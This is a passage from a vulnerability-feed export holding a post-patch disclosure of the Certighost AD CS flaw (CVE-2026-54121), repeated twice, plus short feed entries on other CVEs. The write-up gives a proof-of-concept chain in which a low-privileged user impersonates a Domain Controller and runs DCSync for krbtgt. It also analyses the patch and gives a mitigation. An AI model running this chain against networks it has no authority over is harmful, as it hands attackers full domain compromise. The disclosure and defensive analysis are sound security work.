KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-27T02:48:23.381333Z"}, {"uuid": "a26db09f-c1f4-4d2d-99a9-6cbaf83a55eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/rEoAW_BRJJDgx3HUGXYCrbn1mRYrjAni9y98I3Isgm8SRC8", "content": "", "creation_timestamp": "2026-07-27T03:00:04.103460Z"}, {"uuid": "41c855f1-bcf6-43ac-a03a-8b619a24a072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54684", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmjv6zbsa27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54684 \u0432 jadx: \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 XAPK-\u0430\u0440\u0445\u0438\u0432\u044b\n\n\n\nhttps://kripta.biz/posts/BA980DEB-FF63-4C9D-823F-4B0C2F9A5A41", "creation_timestamp": "2026-07-27T09:01:05.311839Z"}, {"uuid": "952c2d3a-9972-4dbc-94a3-393aa2d2a085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54684", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmjvai4nu25", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e7\u05d5\u05d3 \u05e4\u05ea\u05d5\u05d7: CVE-2026-54684 \u05d1-jadx - \u05e1\u05d9\u05db\u05d5\u05df \u05dc\u05d1\u05d9\u05e6\u05d5\u05e2 \u05e7\u05d5\u05d3 \u05d6\u05d3\u05d5\u05e0\u05d9\n\n\n\nhttps://khesef.xyz/posts/07BC4E11-FD3C-45D4-92B5-15D7A087F722", "creation_timestamp": "2026-07-27T09:01:06.592069Z"}, {"uuid": "f1ab1eee-e75c-4a12-9f3f-b0fa28c31746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54572", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmjvwlbqg2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54572 \u0432 rclone: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/99314FE5-3A63-4723-9F8A-DA4375AD6B4C", "creation_timestamp": "2026-07-27T09:01:29.758962Z"}, {"uuid": "95d685f4-83f2-4161-b578-77dc6784d3a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54572", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmjw3rcym2g", "content": "\u05e4\u05d2\u05d9\u05e2\u05d4 \u05d7\u05de\u05d5\u05e8\u05d4 \u05d1\u05e8\u05e7\u05dc\u05d0\u05d5\u05df: CVE-2026-54572 - \u05e1\u05d9\u05db\u05d5\u05df \u05dc\u05db\u05ea\u05d9\u05d1\u05d4 \u05dc\u05d0 \u05de\u05d5\u05db\u05e8\u05ea \u05e9\u05dc \u05e7\u05d1\u05e6\u05d9\u05dd\n\n\n\nhttps://khesef.xyz/posts/F89A29A8-9143-4A55-B62C-FA38071D88C3", "creation_timestamp": "2026-07-27T09:01:35.251323Z"}, {"uuid": "7df88127-8aef-499c-8edb-2b500e9f6665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrmkonntmz24", "content": "CertiGhost (CVE-2026-54121) deserves much more attention than it is getting right now, from my point of view.\n\nIn a common/default AD CS setup, a low-privileged domain user can create a rogue machine account, trick the CA into i\u2026\n\n\u2014 from @cyb3rops (https://x.com/cyb3rops/status/2081664907150327890)", "creation_timestamp": "2026-07-27T09:15:19.854384Z"}, {"uuid": "f1b932ce-65f1-4809-8dbc-ab4b8c1dd3da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/killvxk/8f6fd392bfa94f8abfd93e8d5b0c737b", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path 